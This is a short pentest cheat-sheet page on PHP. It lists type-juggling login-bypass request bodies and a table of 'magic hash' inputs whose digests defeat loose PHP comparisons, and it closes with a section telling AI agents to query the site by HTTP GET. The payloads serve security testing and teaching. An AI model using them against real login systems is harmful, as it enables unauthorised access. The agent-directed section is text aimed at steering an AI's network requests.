# PHP

## 01. Type Juggling

```bash
## ------------------| Content-Type: application/x-www-form-urlencoded
username[]=admin&password=admin
username=admin&password[]=admin
username[]=admin&password[]=admin

## ------------------| Content-Type: application/json

{"password":true}
```

## 02. Magic Hashes

| Hash                                                             | Value                                   | Hash Type  |
| ---------------------------------------------------------------- | --------------------------------------- | ---------- |
| 0e015339760548602306096794382326                                 | 505144726                               | MD2        |
| 0e266546927425668450445617970135                                 | 48291204                                | MD4        |
| 0e462097431906509019562988736854                                 | 240610708                               | MD5        |
| 0e830400451993494058024219903391                                 | QNKCDZO                                 | MD5        |
| 0e291659922323405260514745084877                                 | 0e1137126905                            | MD5        |
| 0e291242476940776845150308577824                                 | 0e215962017                             | MD5        |
| 0e174892301580325162390102935332                                 | 1835970773                              | HMAC       |
| e716865d1953e310498068ee39922f49                                 | 1424869663                              | HMAC       |
| 8c9a492d316efb5e358ceefe3829bde4                                 | 1424869664                              | HMAC       |
| 9f7cdbe744fc2dae1202431c7c66334b                                 | 1424869665                              | HMAC       |
| 105c0abe89825a14c471d4f0c1cc20ab                                 | 1424869666                              | HMAC       |
| 00e45653718969294213009554265803                                 | .V;m=\*]b?-                             | MD5        |
| 00e99757454497342716194968339146                                 | egNJHP66&3E1                            | MD5        |
| 00e73414578113850089230341919829                                 | KnCM6ogsNA1W                            | MD5        |
| 00e48890746054592674909531744787                                 | \&rh1ls6cl\&G4                          | MD5        |
| 06da5430449f8f6f23dfc1276f722738                                 | 129581926211651571912466741651878684928 | MD5        |
| 00e8144605926111857621787045161777776795                         | \&O\&GKtn&54xQ                          | SHA-1      |
| 00e8943083323373991014599597566984182387                         | Sk\~HOM\&QzJXl                          | SHA-1      |
| 0e07766915004133176347055865026311692244                         | 10932435112                             | SHA-1      |
| 0e281250946775200129471613219196999537878926740638594636         | 10885164793773                          | SHA-224    |
| 0e518579138232099136851755726721425672032590357318839002         | y4tIy266ToOd                            | SHA-224    |
| 0e388554900535759017118457601686136319720227650147403334         | qE97zTka                                | SHA-224    |
| 00e45751369882124962626173083350310795241976330980564558         | 4ve1WIcJ                                | SHA-224    |
| 00e75765830079753525734713212085357035084201605923734466         | tvzsvOfY                                | SHA-224    |
| 0e46289032038065916139621039085883773413820991920706299695051332 | 34250003024812                          | SHA-256    |
| 0e66298694359207596086558843543959518835691168370379069085300385 | TyNOQHUS                                | SHA-256    |
| 00e00099                                                         | FR                                      | Adler-32   |
| 0e684322                                                         | 2332                                    | CRC32      |
| 0e817678                                                         | 6586                                    | CRC32B     |
| 0e591528                                                         | 2186                                    | JOAAT      |
| 0e074025                                                         | 8409                                    | JOAAT      |
| 0e73845709713699                                                 | 8338000                                 | FNV164     |
| 0e251331818775808475952406672980                                 | 315655854                               | RIPEMD128  |
| 00e1839085851394356611454660337505469745                         | 20583002034                             | RIPEMD160  |
| 0e908730200858058999593322639865                                 | 265022640                               | Tiger128,3 |
| 00e05651056780370631793326323796                                 | 479763000                               | Tiger128,4 |
| 00e4706040169225543861400227305532507173                         | 13181623570                             | Tiger160,3 |
| 0e69173478833895223726165786906905141502                         | 62241955574                             | Tiger160,4 |
| 00e38549671092424173928143648452                                 | 809793630                               | Haval128,3 |
| 0e316321729023182394301371028665                                 | 71437579                                | Haval128,4 |
| 0e495317064156922585933029613272                                 | 115528287                               | Haval128,5 |
| 0e01697014920826425936632356870426876167                         | 18159983163                             | Haval160,3 |
| 0e34042599806027333661050958199580964722                         | 12368878794                             | Haval160,4 |
| 00e2521569708250889666329543741175098562                         | 33902688231                             | Haval160,5 |
| 0e4868841162506296635201967091461310754872302741                 | 48892056947                             | Haval192,3 |
| 0e9108479697641294204710754930487725109982883677                 | 52888640556                             | Haval192,5 |

* Source : [whitehatsec](https://www.whitehatsec.com/blog/magic-hashes/), [spaze](https://github.com/spaze/hashes), [almond](https://offsec.almond.consulting/super-magic-hash.html)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://docs.h4rithd.com/languages/php.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
